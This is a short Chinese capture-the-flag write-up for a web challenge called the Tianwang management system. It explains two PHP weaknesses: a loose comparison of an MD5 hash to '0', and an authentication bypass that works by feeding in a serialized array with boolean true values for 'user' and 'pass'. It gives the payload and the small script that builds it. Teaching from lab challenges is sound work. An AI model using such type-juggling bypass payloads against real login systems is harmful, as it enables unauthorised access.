实验吧-web-天网管理系统

版权声明：a3uRa QQ：962620891 github：asuralinmo.github.io https://blog.csdn.net/qq_41173457/article/details/81626496

这个题一共有两关
第一关

<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

很简单
第二关，涉及到php反序列化的知识了，正好最近在看
网上的wp大都没有给出最后的payload：a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}
如何来的

<?php
$a=array('user'=>true,'pass'=>true);
$a=serialize($a);
print($a);
?>

在运行一下，就出来最后的payload的了,可以用在线的代码编辑器或者本地跑一下
小结下：php == 弱等于
a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}
a代表array数组，s代表string字符串，b代表bool布尔
i代表int整数，o代表object对象（在有类class的时候会出现）
bool类型的true跟任意字符串可以弱类型相等。
var_dump($a) 会返回string(36) “a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}”